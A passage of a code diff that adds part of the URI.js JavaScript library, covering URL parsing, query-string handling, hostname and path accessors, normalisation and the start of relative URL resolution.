IPv6 host contains multiple colons - but no port + // this notation is actually not allowed by RFC 3986, but we're a liberal parser + parts.hostname = string.substring(0, pos) || null; + parts.port = null; + } else { + t = string.substring(0, pos).split(':'); + parts.hostname = t[0] || null; + parts.port = t[1] || null; + } + } + + if (parts.hostname && string.substring(pos).charAt(0) !== '/') { + pos++; + string = '/' + string; + } + + return string.substring(pos) || '/'; + }; + URI.parseAuthority = function(string, parts) { + string = URI.parseUserinfo(string, parts); + return URI.parseHost(string, parts); + }; + URI.parseUserinfo = function(string, parts) { + // extract username:password + var firstSlash = string.indexOf('/'); + var pos = string.lastIndexOf('@', firstSlash > -1 ? firstSlash : string.length - 1); + var t; + + // authority@ must come before /path + if (pos > -1 && (firstSlash === -1 || pos < firstSlash)) { + t = string.substring(0, pos).split(':'); + parts.username = t[0] ? URI.decode(t[0]) : null; + t.shift(); + parts.password = t[0] ? URI.decode(t.join(':')) : null; + string = string.substring(pos + 1); + } else { + parts.username = null; + parts.password = null; + } + + return string; + }; + URI.parseQuery = function(string, escapeQuerySpace) { + if (!string) { + return {}; + } + + // throw out the funky business - "?"[name"="value"&"]+ + string = string.replace(/&+/g, '&').replace(/^\?*&*|&+$/g, ''); + + if (!string) { + return {}; + } + + var items = {}; + var splits = string.split('&'); + var length = splits.length; + var v, name, value; + + for (var i = 0; i < length; i++) { + v = splits[i].split('='); + name = URI.decodeQuery(v.shift(), escapeQuerySpace); + // no "=" is null according to http://dvcs.w3.org/hg/url/raw-file/tip/Overview.html#collect-url-parameters + value = v.length ? URI.decodeQuery(v.join('='), escapeQuerySpace) : null; + + if (hasOwn.call(items, name)) { + if (typeof items[name] === 'string' || items[name] === null) { + items[name] = [items[name]]; + } + + items[name].push(value); + } else { + items[name] = value; + } + } + + return items; + }; + + URI.build = function(parts) { + var t = ''; + + if (parts.protocol) { + t += parts.protocol + ':'; + } + + if (!parts.urn && (t || parts.hostname)) { + t += '//'; + } + + t += (URI.buildAuthority(parts) || ''); + + if (typeof parts.path === 'string') { + if (parts.path.charAt(0) !== '/' && typeof parts.hostname === 'string') { + t += '/'; + } + + t += parts.path; + } + + if (typeof parts.query === 'string' && parts.query) { + t += '?' + parts.query; + } + + if (typeof parts.fragment === 'string' && parts.fragment) { + t += '#' + parts.fragment; + } + return t; + }; + URI.buildHost = function(parts) { + var t = ''; + + if (!parts.hostname) { + return ''; + } else if (URI.ip6_expression.test(parts.hostname)) { + t += '[' + parts.hostname + ']'; + } else { + t += parts.hostname; + } + + if (parts.port) { + t += ':' + parts.port; + } + + return t; + }; + URI.buildAuthority = function(parts) { + return URI.buildUserinfo(parts) + URI.buildHost(parts); + }; + URI.buildUserinfo = function(parts) { + var t = ''; + + if (parts.username) { + t += URI.encode(parts.username); + + if (parts.password) { + t += ':' + URI.encode(parts.password); + } + + t += '@'; + } + + return t; + }; + URI.buildQuery = function(data, duplicateQueryParameters, escapeQuerySpace) { + // according to http://tools.ietf.org/html/rfc3986 or http://labs.apache.org/webarch/uri/rfc/rfc3986.html + // being »-._~!$&'()*+,;=:@/?« %HEX and alnum are allowed + // the RFC explicitly states ?/foo being a valid use case, no mention of parameter syntax! + // URI.js treats the query string as being application/x-www-form-urlencoded + // see http://www.w3.org/TR/REC-html40/interact/forms.html#form-content-type + + var t = ''; + var unique, key, i, length; + for (key in data) { + if (hasOwn.call(data, key) && key) { + if (isArray(data[key])) { + unique = {}; + for (i = 0, length = data[key].length; i < length; i++) { + if (data[key][i] !== undefined && unique[data[key][i] + ''] === undefined) { + t += '&' + URI.buildQueryParameter(key, data[key][i], escapeQuerySpace); + if (duplicateQueryParameters !== true) { + unique[data[key][i] + ''] = true; + } + } + } + } else if (data[key] !== undefined) { + t += '&' + URI.buildQueryParameter(key, data[key], escapeQuerySpace); + } + } + } + + return t.substring(1); + }; + URI.buildQueryParameter = function(name, value, escapeQuerySpace) { + // http://www.w3.org/TR/REC-html40/interact/forms.html#form-content-type -- application/x-www-form-urlencoded + // don't append "=" for null values, according to http://dvcs.w3.org/hg/url/raw-file/tip/Overview.html#url-parameter-serialization + return URI.encodeQuery(name, escapeQuerySpace) + (value !== null ? '=' + URI.encodeQuery(value, escapeQuerySpace) : ''); + }; + + URI.addQuery = function(data, name, value) { + if (typeof name === 'object') { + for (var key in name) { + if (hasOwn.call(name, key)) { + URI.addQuery(data, key, name[key]); + } + } + } else if (typeof name === 'string') { + if (data[name] === undefined) { + data[name] = value; + return; + } else if (typeof data[name] === 'string') { + data[name] = [data[name]]; + } + + if (!isArray(value)) { + value = [value]; + } + + data[name] = (data[name] || []).concat(value); + } else { + throw new TypeError('URI.addQuery() accepts an object, string as the name parameter'); + } + }; + URI.removeQuery = function(data, name, value) { + var i, length, key; + + if (isArray(name)) { + for (i = 0, length = name.length; i < length; i++) { + data[name[i]] = undefined; + } + } else if (getType(name) === 'RegExp') { + for (key in data) { + if (name.test(key)) { + data[key] = undefined; + } + } + } else if (typeof name === 'object') { + for (key in name) { + if (hasOwn.call(name, key)) { + URI.removeQuery(data, key, name[key]); + } + } + } else if (typeof name === 'string') { + if (value !== undefined) { + if (getType(value) === 'RegExp') { + if (!isArray(data[name]) && value.test(data[name])) { + data[name] = undefined; + } else { + data[name] = filterArrayValues(data[name], value); + } + } else if (data[name] === String(value) && (!isArray(value) || value.length === 1)) { + data[name] = undefined; + } else if (isArray(data[name])) { + data[name] = filterArrayValues(data[name], value); + } + } else { + data[name] = undefined; + } + } else { + throw new TypeError('URI.removeQuery() accepts an object, string, RegExp as the first parameter'); + } + }; + URI.hasQuery = function(data, name, value, withinArray) { + if (typeof name === 'object') { + for (var key in name) { + if (hasOwn.call(name, key)) { + if (!URI.hasQuery(data, key, name[key])) { + return false; + } + } + } + + return true; + } else if (typeof name !== 'string') { + throw new TypeError('URI.hasQuery() accepts an object, string as the name parameter'); + } + + switch (getType(value)) { + case 'Undefined': + // true if exists (but may be empty) + return name in data; // data[name] !== undefined; + + case 'Boolean': + // true if exists and non-empty + var _booly = Boolean(isArray(data[name]) ? data[name].length : data[name]); + return value === _booly; + + case 'Function': + // allow complex comparison + return !!value(data[name], name, data); + + case 'Array': + if (!isArray(data[name])) { + return false; + } + + var op = withinArray ? arrayContains : arraysEqual; + return op(data[name], value); + + case 'RegExp': + if (!isArray(data[name])) { + return Boolean(data[name] && data[name].match(value)); + } + + if (!withinArray) { + return false; + } + + return arrayContains(data[name], value); + + case 'Number': + value = String(value); + /* falls through */ + case 'String': + if (!isArray(data[name])) { + return data[name] === value; + } + + if (!withinArray) { + return false; + } + + return arrayContains(data[name], value); + + default: + throw new TypeError('URI.hasQuery() accepts undefined, boolean, string, number, RegExp, Function as the value parameter'); + } + }; + + + URI.commonPath = function(one, two) { + var length = Math.min(one.length, two.length); + var pos; + + // find first non-matching character + for (pos = 0; pos < length; pos++) { + if (one.charAt(pos) !== two.charAt(pos)) { + pos--; + break; + } + } + + if (pos < 1) { + return one.charAt(0) === two.charAt(0) && one.charAt(0) === '/' ? '/' : ''; + } + + // revert to last / + if (one.charAt(pos) !== '/' || two.charAt(pos) !== '/') { + pos = one.substring(0, pos).lastIndexOf('/'); + } + + return one.substring(0, pos + 1); + }; + + URI.withinString = function(string, callback, options) { + options || (options = {}); + var _start = options.start || URI.findUri.start; + var _end = options.end || URI.findUri.end; + var _trim = options.trim || URI.findUri.trim; + var _attributeOpen = /[a-z0-9-]=["']?$/i; + + _start.lastIndex = 0; + while (true) { + var match = _start.exec(string); + if (!match) { + break; + } + + var start = match.index; + if (options.ignoreHtml) { + // attribut(e=["']?$) + var attributeOpen = string.slice(Math.max(start - 3, 0), start); + if (attributeOpen && _attributeOpen.test(attributeOpen)) { + continue; + } + } + + var end = start + string.slice(start).search(_end); + var slice = string.slice(start, end).replace(_trim, ''); + if (options.ignore && options.ignore.test(slice)) { + continue; + } + + end = start + slice.length; + var result = callback(slice, start, end, string); + string = string.slice(0, start) + result + string.slice(end); + _start.lastIndex = start + result.length; + } + + _start.lastIndex = 0; + return string; + }; + + URI.ensureValidHostname = function(v) { + // Theoretically URIs allow percent-encoding in Hostnames (according to RFC 3986) + // they are not part of DNS and therefore ignored by URI.js + + if (v.match(URI.invalid_hostname_characters)) { + // test punycode + if (!punycode) { + throw new TypeError('Hostname "' + v + '" contains characters other than [A-Z0-9.-] and Punycode.js is not available'); + } + + if (punycode.toASCII(v).match(URI.invalid_hostname_characters)) { + throw new TypeError('Hostname "' + v + '" contains characters other than [A-Z0-9.-]'); + } + } + }; + + // noConflict + URI.noConflict = function(removeAll) { + if (removeAll) { + var unconflicted = { + URI: this.noConflict() + }; + + if (root.URITemplate && typeof root.URITemplate.noConflict === 'function') { + unconflicted.URITemplate = root.URITemplate.noConflict(); + } + + if (root.IPv6 && typeof root.IPv6.noConflict === 'function') { + unconflicted.IPv6 = root.IPv6.noConflict(); + } + + if (root.SecondLevelDomains && typeof root.SecondLevelDomains.noConflict === 'function') { + unconflicted.SecondLevelDomains = root.SecondLevelDomains.noConflict(); + } + + return unconflicted; + } else if (root.URI === this) { + root.URI = _URI; + } + + return this; + }; + + p.build = function(deferBuild) { + if (deferBuild === true) { + this._deferred_build = true; + } else if (deferBuild === undefined || this._deferred_build) { + this._string = URI.build(this._parts); + this._deferred_build = false; + } + + return this; + }; + + p.clone = function() { + return new URI(this); + }; + + p.valueOf = p.toString = function() { + return this.build(false)._string; + }; + + + function generateSimpleAccessor(_part){ + return function(v, build) { + if (v === undefined) { + return this._parts[_part] || ''; + } else { + this._parts[_part] = v || null; + this.build(!build); + return this; + } + }; + } + + function generatePrefixAccessor(_part, _key){ + return function(v, build) { + if (v === undefined) { + return this._parts[_part] || ''; + } else { + if (v !== null) { + v = v + ''; + if (v.charAt(0) === _key) { + v = v.substring(1); + } + } + + this._parts[_part] = v; + this.build(!build); + return this; + } + }; + } + + p.protocol = generateSimpleAccessor('protocol'); + p.username = generateSimpleAccessor('username'); + p.password = generateSimpleAccessor('password'); + p.hostname = generateSimpleAccessor('hostname'); + p.port = generateSimpleAccessor('port'); + p.query = generatePrefixAccessor('query', '?'); + p.fragment = generatePrefixAccessor('fragment', '#'); + + p.search = function(v, build) { + var t = this.query(v, build); + return typeof t === 'string' && t.length ? ('?' + t) : t; + }; + p.hash = function(v, build) { + var t = this.fragment(v, build); + return typeof t === 'string' && t.length ? ('#' + t) : t; + }; + + p.pathname = function(v, build) { + if (v === undefined || v === true) { + var res = this._parts.path || (this._parts.hostname ? '/' : ''); + return v ? (this._parts.urn ? URI.decodeUrnPath : URI.decodePath)(res) : res; + } else { + if (this._parts.urn) { + this._parts.path = v ? URI.recodeUrnPath(v) : ''; + } else { + this._parts.path = v ? URI.recodePath(v) : '/'; + } + this.build(!build); + return this; + } + }; + p.path = p.pathname; + p.href = function(href, build) { + var key; + + if (href === undefined) { + return this.toString(); + } + + this._string = ''; + this._parts = URI._parts(); + + var _URI = href instanceof URI; + var _object = typeof href === 'object' && (href.hostname || href.path || href.pathname); + if (href.nodeName) { + var attribute = URI.getDomAttribute(href); + href = href[attribute] || ''; + _object = false; + } + + // window.location is reported to be an object, but it's not the sort + // of object we're looking for: + // * location.protocol ends with a colon + // * location.query != object.search + // * location.hash != object.fragment + // simply serializing the unknown object should do the trick + // (for location, not for everything...) + if (!_URI && _object && href.pathname !== undefined) { + href = href.toString(); + } + + if (typeof href === 'string' || href instanceof String) { + this._parts = URI.parse(String(href), this._parts); + } else if (_URI || _object) { + var src = _URI ? href._parts : href; + for (key in src) { + if (hasOwn.call(this._parts, key)) { + this._parts[key] = src[key]; + } + } + } else { + throw new TypeError('invalid input'); + } + + this.build(!build); + return this; + }; + + // identification accessors + p.is = function(what) { + var ip = false; + var ip4 = false; + var ip6 = false; + var name = false; + var sld = false; + var idn = false; + var punycode = false; + var relative = !this._parts.urn; + + if (this._parts.hostname) { + relative = false; + ip4 = URI.ip4_expression.test(this._parts.hostname); + ip6 = URI.ip6_expression.test(this._parts.hostname); + ip = ip4 || ip6; + name = !ip; + sld = name && SLD && SLD.has(this._parts.hostname); + idn = name && URI.idn_expression.test(this._parts.hostname); + punycode = name && URI.punycode_expression.test(this._parts.hostname); + } + + switch (what.toLowerCase()) { + case 'relative': + return relative; + + case 'absolute': + return !relative; + + // hostname identification + case 'domain': + case 'name': + return name; + + case 'sld': + return sld; + + case 'ip': + return ip; + + case 'ip4': + case 'ipv4': + case 'inet4': + return ip4; + + case 'ip6': + case 'ipv6': + case 'inet6': + return ip6; + + case 'idn': + return idn; + + case 'url': + return !this._parts.urn; + + case 'urn': + return !!this._parts.urn; + + case 'punycode': + return punycode; + } + + return null; + }; + + // component specific input validation + var _protocol = p.protocol; + var _port = p.port; + var _hostname = p.hostname; + + p.protocol = function(v, build) { + if (v !== undefined) { + if (v) { + // accept trailing :// + v = v.replace(/:(\/\/)?$/, ''); + + if (!v.match(URI.protocol_expression)) { + throw new TypeError('Protocol "' + v + '" contains characters other than [A-Z0-9.+-] or doesn\'t start with [A-Z]'); + } + } + } + return _protocol.call(this, v, build); + }; + p.scheme = p.protocol; + p.port = function(v, build) { + if (this._parts.urn) { + return v === undefined ? '' : this; + } + + if (v !== undefined) { + if (v === 0) { + v = null; + } + + if (v) { + v += ''; + if (v.charAt(0) === ':') { + v = v.substring(1); + } + + if (v.match(/[^0-9]/)) { + throw new TypeError('Port "' + v + '" contains characters other than [0-9]'); + } + } + } + return _port.call(this, v, build); + }; + p.hostname = function(v, build) { + if (this._parts.urn) { + return v === undefined ? '' : this; + } + + if (v !== undefined) { + var x = {}; + var res = URI.parseHost(v, x); + if (res !== '/') { + throw new TypeError('Hostname "' + v + '" contains characters other than [A-Z0-9.-]'); + } + + v = x.hostname; + } + return _hostname.call(this, v, build); + }; + + // compound accessors + p.origin = function(v, build) { + var parts; + + if (this._parts.urn) { + return v === undefined ? '' : this; + } + + if (v === undefined) { + var protocol = this.protocol(); + var authority = this.authority(); + if (!authority) return ''; + return (protocol ? protocol + '://' : '') + this.authority(); + } else { + var origin = URI(v); + this + .protocol(origin.protocol()) + .authority(origin.authority()) + .build(!build); + return this; + } + }; + p.host = function(v, build) { + if (this._parts.urn) { + return v === undefined ? '' : this; + } + + if (v === undefined) { + return this._parts.hostname ? URI.buildHost(this._parts) : ''; + } else { + var res = URI.parseHost(v, this._parts); + if (res !== '/') { + throw new TypeError('Hostname "' + v + '" contains characters other than [A-Z0-9.-]'); + } + + this.build(!build); + return this; + } + }; + p.authority = function(v, build) { + if (this._parts.urn) { + return v === undefined ? '' : this; + } + + if (v === undefined) { + return this._parts.hostname ? URI.buildAuthority(this._parts) : ''; + } else { + var res = URI.parseAuthority(v, this._parts); + if (res !== '/') { + throw new TypeError('Hostname "' + v + '" contains characters other than [A-Z0-9.-]'); + } + + this.build(!build); + return this; + } + }; + p.userinfo = function(v, build) { + if (this._parts.urn) { + return v === undefined ? '' : this; + } + + if (v === undefined) { + if (!this._parts.username) { + return ''; + } + + var t = URI.buildUserinfo(this._parts); + return t.substring(0, t.length -1); + } else { + if (v[v.length-1] !== '@') { + v += '@'; + } + + URI.parseUserinfo(v, this._parts); + this.build(!build); + return this; + } + }; + p.resource = function(v, build) { + var parts; + + if (v === undefined) { + return this.path() + this.search() + this.hash(); + } + + parts = URI.parse(v); + this._parts.path = parts.path; + this._parts.query = parts.query; + this._parts.fragment = parts.fragment; + this.build(!build); + return this; + }; + + // fraction accessors + p.subdomain = function(v, build) { + if (this._parts.urn) { + return v === undefined ? '' : this; + } + + // convenience, return "www" from "www.example.org" + if (v === undefined) { + if (!this._parts.hostname || this.is('IP')) { + return ''; + } + + // grab domain and add another segment + var end = this._parts.hostname.length - this.domain().length - 1; + return this._parts.hostname.substring(0, end) || ''; + } else { + var e = this._parts.hostname.length - this.domain().length; + var sub = this._parts.hostname.substring(0, e); + var replace = new RegExp('^' + escapeRegEx(sub)); + + if (v && v.charAt(v.length - 1) !== '.') { + v += '.'; + } + + if (v) { + URI.ensureValidHostname(v); + } + + this._parts.hostname = this._parts.hostname.replace(replace, v); + this.build(!build); + return this; + } + }; + p.domain = function(v, build) { + if (this._parts.urn) { + return v === undefined ? '' : this; + } + + if (typeof v === 'boolean') { + build = v; + v = undefined; + } + + // convenience, return "example.org" from "www.example.org" + if (v === undefined) { + if (!this._parts.hostname || this.is('IP')) { + return ''; + } + + // if hostname consists of 1 or 2 segments, it must be the domain + var t = this._parts.hostname.match(/\./g); + if (t && t.length < 2) { + return this._parts.hostname; + } + + // grab tld and add another segment + var end = this._parts.hostname.length - this.tld(build).length - 1; + end = this._parts.hostname.lastIndexOf('.', end -1) + 1; + return this._parts.hostname.substring(end) || ''; + } else { + if (!v) { + throw new TypeError('cannot set domain empty'); + } + + URI.ensureValidHostname(v); + + if (!this._parts.hostname || this.is('IP')) { + this._parts.hostname = v; + } else { + var replace = new RegExp(escapeRegEx(this.domain()) + '$'); + this._parts.hostname = this._parts.hostname.replace(replace, v); + } + + this.build(!build); + return this; + } + }; + p.tld = function(v, build) { + if (this._parts.urn) { + return v === undefined ? '' : this; + } + + if (typeof v === 'boolean') { + build = v; + v = undefined; + } + + // return "org" from "www.example.org" + if (v === undefined) { + if (!this._parts.hostname || this.is('IP')) { + return ''; + } + + var pos = this._parts.hostname.lastIndexOf('.'); + var tld = this._parts.hostname.substring(pos + 1); + + if (build !== true && SLD && SLD.list[tld.toLowerCase()]) { + return SLD.get(this._parts.hostname) || tld; + } + + return tld; + } else { + var replace; + + if (!v) { + throw new TypeError('cannot set TLD empty'); + } else if (v.match(/[^a-zA-Z0-9-]/)) { + if (SLD && SLD.is(v)) { + replace = new RegExp(escapeRegEx(this.tld()) + '$'); + this._parts.hostname = this._parts.hostname.replace(replace, v); + } else { + throw new TypeError('TLD "' + v + '" contains characters other than [A-Z0-9]'); + } + } else if (!this._parts.hostname || this.is('IP')) { + throw new ReferenceError('cannot set TLD on non-domain host'); + } else { + replace = new RegExp(escapeRegEx(this.tld()) + '$'); + this._parts.hostname = this._parts.hostname.replace(replace, v); + } + + this.build(!build); + return this; + } + }; + p.directory = function(v, build) { + if (this._parts.urn) { + return v === undefined ? '' : this; + } + + if (v === undefined || v === true) { + if (!this._parts.path && !this._parts.hostname) { + return ''; + } + + if (this._parts.path === '/') { + return '/'; + } + + var end = this._parts.path.length - this.filename().length - 1; + var res = this._parts.path.substring(0, end) || (this._parts.hostname ? '/' : ''); + + return v ? URI.decodePath(res) : res; + + } else { + var e = this._parts.path.length - this.filename().length; + var directory = this._parts.path.substring(0, e); + var replace = new RegExp('^' + escapeRegEx(directory)); + + // fully qualifier directories begin with a slash + if (!this.is('relative')) { + if (!v) { + v = '/'; + } + + if (v.charAt(0) !== '/') { + v = '/' + v; + } + } + + // directories always end with a slash + if (v && v.charAt(v.length - 1) !== '/') { + v += '/'; + } + + v = URI.recodePath(v); + this._parts.path = this._parts.path.replace(replace, v); + this.build(!build); + return this; + } + }; + p.filename = function(v, build) { + if (this._parts.urn) { + return v === undefined ? '' : this; + } + + if (v === undefined || v === true) { + if (!this._parts.path || this._parts.path === '/') { + return ''; + } + + var pos = this._parts.path.lastIndexOf('/'); + var res = this._parts.path.substring(pos+1); + + return v ? URI.decodePathSegment(res) : res; + } else { + var mutatedDirectory = false; + + if (v.charAt(0) === '/') { + v = v.substring(1); + } + + if (v.match(/\.?\//)) { + mutatedDirectory = true; + } + + var replace = new RegExp(escapeRegEx(this.filename()) + '$'); + v = URI.recodePath(v); + this._parts.path = this._parts.path.replace(replace, v); + + if (mutatedDirectory) { + this.normalizePath(build); + } else { + this.build(!build); + } + + return this; + } + }; + p.suffix = function(v, build) { + if (this._parts.urn) { + return v === undefined ? '' : this; + } + + if (v === undefined || v === true) { + if (!this._parts.path || this._parts.path === '/') { + return ''; + } + + var filename = this.filename(); + var pos = filename.lastIndexOf('.'); + var s, res; + + if (pos === -1) { + return ''; + } + + // suffix may only contain alnum characters (yup, I made this up.) + s = filename.substring(pos+1); + res = (/^[a-z0-9%]+$/i).test(s) ? s : ''; + return v ? URI.decodePathSegment(res) : res; + } else { + if (v.charAt(0) === '.') { + v = v.substring(1); + } + + var suffix = this.suffix(); + var replace; + + if (!suffix) { + if (!v) { + return this; + } + + this._parts.path += '.' + URI.recodePath(v); + } else if (!v) { + replace = new RegExp(escapeRegEx('.' + suffix) + '$'); + } else { + replace = new RegExp(escapeRegEx(suffix) + '$'); + } + + if (replace) { + v = URI.recodePath(v); + this._parts.path = this._parts.path.replace(replace, v); + } + + this.build(!build); + return this; + } + }; + p.segment = function(segment, v, build) { + var separator = this._parts.urn ? ':' : '/'; + var path = this.path(); + var absolute = path.substring(0, 1) === '/'; + var segments = path.split(separator); + + if (segment !== undefined && typeof segment !== 'number') { + build = v; + v = segment; + segment = undefined; + } + + if (segment !== undefined && typeof segment !== 'number') { + throw new Error('Bad segment "' + segment + '", must be 0-based integer'); + } + + if (absolute) { + segments.shift(); + } + + if (segment < 0) { + // allow negative indexes to address from the end + segment = Math.max(segments.length + segment, 0); + } + + if (v === undefined) { + /*jshint laxbreak: true */ + return segment === undefined + ? segments + : segments[segment]; + /*jshint laxbreak: false */ + } else if (segment === null || segments[segment] === undefined) { + if (isArray(v)) { + segments = []; + // collapse empty elements within array + for (var i=0, l=v.length; i < l; i++) { + if (!v[i].length && (!segments.length || !segments[segments.length -1].length)) { + continue; + } + + if (segments.length && !segments[segments.length -1].length) { + segments.pop(); + } + + segments.push(trimSlashes(v[i])); + } + } else if (v || typeof v === 'string') { + v = trimSlashes(v); + if (segments[segments.length -1] === '') { + // empty trailing elements have to be overwritten + // to prevent results such as /foo//bar + segments[segments.length -1] = v; + } else { + segments.push(v); + } + } + } else { + if (v) { + segments[segment] = trimSlashes(v); + } else { + segments.splice(segment, 1); + } + } + + if (absolute) { + segments.unshift(''); + } + + return this.path(segments.join(separator), build); + }; + p.segmentCoded = function(segment, v, build) { + var segments, i, l; + + if (typeof segment !== 'number') { + build = v; + v = segment; + segment = undefined; + } + + if (v === undefined) { + segments = this.segment(segment, v, build); + if (!isArray(segments)) { + segments = segments !== undefined ? URI.decode(segments) : undefined; + } else { + for (i = 0, l = segments.length; i < l; i++) { + segments[i] = URI.decode(segments[i]); + } + } + + return segments; + } + + if (!isArray(v)) { + v = (typeof v === 'string' || v instanceof String) ? URI.encode(v) : v; + } else { + for (i = 0, l = v.length; i < l; i++) { + v[i] = URI.encode(v[i]); + } + } + + return this.segment(segment, v, build); + }; + + // mutating query string + var q = p.query; + p.query = function(v, build) { + if (v === true) { + return URI.parseQuery(this._parts.query, this._parts.escapeQuerySpace); + } else if (typeof v === 'function') { + var data = URI.parseQuery(this._parts.query, this._parts.escapeQuerySpace); + var result = v.call(this, data); + this._parts.query = URI.buildQuery(result || data, this._parts.duplicateQueryParameters, this._parts.escapeQuerySpace); + this.build(!build); + return this; + } else if (v !== undefined && typeof v !== 'string') { + this._parts.query = URI.buildQuery(v, this._parts.duplicateQueryParameters, this._parts.escapeQuerySpace); + this.build(!build); + return this; + } else { + return q.call(this, v, build); + } + }; + p.setQuery = function(name, value, build) { + var data = URI.parseQuery(this._parts.query, this._parts.escapeQuerySpace); + + if (typeof name === 'string' || name instanceof String) { + data[name] = value !== undefined ? value : null; + } else if (typeof name === 'object') { + for (var key in name) { + if (hasOwn.call(name, key)) { + data[key] = name[key]; + } + } + } else { + throw new TypeError('URI.addQuery() accepts an object, string as the name parameter'); + } + + this._parts.query = URI.buildQuery(data, this._parts.duplicateQueryParameters, this._parts.escapeQuerySpace); + if (typeof name !== 'string') { + build = value; + } + + this.build(!build); + return this; + }; + p.addQuery = function(name, value, build) { + var data = URI.parseQuery(this._parts.query, this._parts.escapeQuerySpace); + URI.addQuery(data, name, value === undefined ? null : value); + this._parts.query = URI.buildQuery(data, this._parts.duplicateQueryParameters, this._parts.escapeQuerySpace); + if (typeof name !== 'string') { + build = value; + } + + this.build(!build); + return this; + }; + p.removeQuery = function(name, value, build) { + var data = URI.parseQuery(this._parts.query, this._parts.escapeQuerySpace); + URI.removeQuery(data, name, value); + this._parts.query = URI.buildQuery(data, this._parts.duplicateQueryParameters, this._parts.escapeQuerySpace); + if (typeof name !== 'string') { + build = value; + } + + this.build(!build); + return this; + }; + p.hasQuery = function(name, value, withinArray) { + var data = URI.parseQuery(this._parts.query, this._parts.escapeQuerySpace); + return URI.hasQuery(data, name, value, withinArray); + }; + p.setSearch = p.setQuery; + p.addSearch = p.addQuery; + p.removeSearch = p.removeQuery; + p.hasSearch = p.hasQuery; + + // sanitizing URLs + p.normalize = function() { + if (this._parts.urn) { + return this + .normalizeProtocol(false) + .normalizePath(false) + .normalizeQuery(false) + .normalizeFragment(false) + .build(); + } + + return this + .normalizeProtocol(false) + .normalizeHostname(false) + .normalizePort(false) + .normalizePath(false) + .normalizeQuery(false) + .normalizeFragment(false) + .build(); + }; + p.normalizeProtocol = function(build) { + if (typeof this._parts.protocol === 'string') { + this._parts.protocol = this._parts.protocol.toLowerCase(); + this.build(!build); + } + + return this; + }; + p.normalizeHostname = function(build) { + if (this._parts.hostname) { + if (this.is('IDN') && punycode) { + this._parts.hostname = punycode.toASCII(this._parts.hostname); + } else if (this.is('IPv6') && IPv6) { + this._parts.hostname = IPv6.best(this._parts.hostname); + } + + this._parts.hostname = this._parts.hostname.toLowerCase(); + this.build(!build); + } + + return this; + }; + p.normalizePort = function(build) { + // remove port of it's the protocol's default + if (typeof this._parts.protocol === 'string' && this._parts.port === URI.defaultPorts[this._parts.protocol]) { + this._parts.port = null; + this.build(!build); + } + + return this; + }; + p.normalizePath = function(build) { + var _path = this._parts.path; + if (!_path) { + return this; + } + + if (this._parts.urn) { + this._parts.path = URI.recodeUrnPath(this._parts.path); + this.build(!build); + return this; + } + + if (this._parts.path === '/') { + return this; + } + + var _was_relative; + var _leadingParents = ''; + var _parent, _pos; + + // handle relative paths + if (_path.charAt(0) !== '/') { + _was_relative = true; + _path = '/' + _path; + } + + // handle relative files (as opposed to directories) + if (_path.slice(-3) === '/..' || _path.slice(-2) === '/.') { + _path += '/'; + } + + // resolve simples + _path = _path + .replace(/(\/(\.\/)+)|(\/\.$)/g, '/') + .replace(/\/{2,}/g, '/'); + + // remember leading parents + if (_was_relative) { + _leadingParents = _path.substring(1).match(/^(\.\.\/)+/) || ''; + if (_leadingParents) { + _leadingParents = _leadingParents[0]; + } + } + + // resolve parents + while (true) { + _parent = _path.indexOf('/..'); + if (_parent === -1) { + // no more ../ to resolve + break; + } else if (_parent === 0) { + // top level cannot be relative, skip it + _path = _path.substring(3); + continue; + } + + _pos = _path.substring(0, _parent).lastIndexOf('/'); + if (_pos === -1) { + _pos = _parent; + } + _path = _path.substring(0, _pos) + _path.substring(_parent + 3); + } + + // revert to relative + if (_was_relative && this.is('relative')) { + _path = _leadingParents + _path.substring(1); + } + + _path = URI.recodePath(_path); + this._parts.path = _path; + this.build(!build); + return this; + }; + p.normalizePathname = p.normalizePath; + p.normalizeQuery = function(build) { + if (typeof this._parts.query === 'string') { + if (!this._parts.query.length) { + this._parts.query = null; + } else { + this.query(URI.parseQuery(this._parts.query, this._parts.escapeQuerySpace)); + } + + this.build(!build); + } + + return this; + }; + p.normalizeFragment = function(build) { + if (!this._parts.fragment) { + this._parts.fragment = null; + this.build(!build); + } + + return this; + }; + p.normalizeSearch = p.normalizeQuery; + p.normalizeHash = p.normalizeFragment; + + p.iso8859 = function() { + // expect unicode input, iso8859 output + var e = URI.encode; + var d = URI.decode; + + URI.encode = escape; + URI.decode = decodeURIComponent; + try { + this.normalize(); + } finally { + URI.encode = e; + URI.decode = d; + } + return this; + }; + + p.unicode = function() { + // expect iso8859 input, unicode output + var e = URI.encode; + var d = URI.decode; + + URI.encode = strictEncodeURIComponent; + URI.decode = unescape; + try { + this.normalize(); + } finally { + URI.encode = e; + URI.decode = d; + } + return this; + }; + + p.readable = function() { + var uri = this.clone(); + // removing username, password, because they shouldn't be displayed according to RFC 3986 + uri.username('').password('').normalize(); + var t = ''; + if (uri._parts.protocol) { + t += uri._parts.protocol + '://'; + } + + if (uri._parts.hostname) { + if (uri.is('punycode') && punycode) { + t += punycode.toUnicode(uri._parts.hostname); + if (uri._parts.port) { + t += ':' + uri._parts.port; + } + } else { + t += uri.host(); + } + } + + if (uri._parts.hostname && uri._parts.path && uri._parts.path.charAt(0) !== '/') { + t += '/'; + } + + t += uri.path(true); + if (uri._parts.query) { + var q = ''; + for (var i = 0, qp = uri._parts.query.split('&'), l = qp.length; i < l; i++) { + var kv = (qp[i] || '').split('='); + q += '&' + URI.decodeQuery(kv[0], this._parts.escapeQuerySpace) + .replace(/&/g, '%26'); + + if (kv[1] !== undefined) { + q += '=' + URI.decodeQuery(kv[1], this._parts.escapeQuerySpace) + .replace(/&/g, '%26'); + } + } + t += '?' + q.substring(1); + } + + t += URI.decodeQuery(uri.hash(), true); + return t; + }; + + // resolving relative and absolute URLs + p.absoluteTo = function(base) { + var resolved = this.clone(); + var properties = ['protocol', 'username', 'password', 'hostname', 'port']; + var basedir, i, p; + + if (this._parts.urn) { + throw new Error('URNs do not have any generally defined hierarchical components'); + } + + if (!(base instanceof URI)) { + base = new URI(base); + } + + if (!resolved._parts.protocol) { + resolved._parts.protocol = base._parts.protocol; + } + + if (this._parts.hostname) { + return resolved; + } + + for (i = 0; (p = properties[i]); i++) { + resolved._parts[p] = base._parts[p]; + } + + if (!resolved._parts.path) { + resolved._parts.path = base._parts.path; + if (!resolved._parts.query) { + resolved._parts.query = base._parts.query; + } + } else if (resolved._parts.path.substring(-2) === '..') { + resolved._parts.path += '/'; + } + + if (resolved.path().charAt(0) !== '/') { + basedir = base.directory(); + basedir = basedir ? basedir : base.path().indexOf('/') === 0 ? '/' : ''; + resolved._parts.path = (basedir ? (basedir + 